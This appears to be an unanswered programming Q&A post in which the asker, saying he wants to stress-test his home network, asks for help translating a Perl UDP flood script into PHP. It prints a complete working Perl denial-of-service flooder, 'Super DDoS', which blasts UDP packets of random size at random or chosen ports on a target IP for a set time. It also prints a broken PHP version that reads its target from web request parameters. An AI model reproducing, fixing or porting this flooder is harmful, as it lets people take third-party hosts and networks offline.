Send packets with bytes using the UDP protocol in PHP

1

I am building a tool that allows me to test the resistance of my home network against a small DDoS attack using the UDP protocol, using PHP.

I found a Perl script that is working but I would like to translate to PHP, I tried something similar to:

<?php

ignore_user_abort(true);

$ip = $_GET['ip'];
$port = $_GET['port'];
$psize = $_GET['packets'];
$time = $_GET['time'];
$endtime = time() + $time;

if(!$fp = fsockopen("udp://$ip", $port, $errno, $errstr)) {
die("No se pudo conectar a {$ip}.");
} else {
echo("Ejecutando...");
}

while(time() <= $endtime) {
fwrite($fp, $psize);
fclose($fp);
}
die("Completado.");
?>

And it has not worked for me, the original Perl script was like this (trying to match the upper PHP script):

#!/usr/bin/perl

##############
# udp flood.
##############

use Socket;
use strict;

if ($#ARGV != 3) {
print " \n";
print "Super DDoS // by Adrien\n\n";
print "Commande: flood.pl <ip> <port> <packets> <temps(en secondes)>\n";
print " port: le port à flood. Mettez 0 pour tous.\n";
print " packets: le nombre de packets à envoyer. Entre 64 et 1024.\n";
print " temps: le temps de flood en secondes.\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Impossible de se connecter à $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);


print "Flooding en cours sur $ip avec le port " . ($port ? $port : "random") . ", envoit de " . 
($size ? "$size-byte" : "random size") . " packets" . 
($time ? " pour $time secondes" : "") . "\n";
print "Attaque arrêtée avec Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1500-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

Thanks for your answers.

    
asked by Enrique Salas 24.07.2017 в 21:31
source

0 answers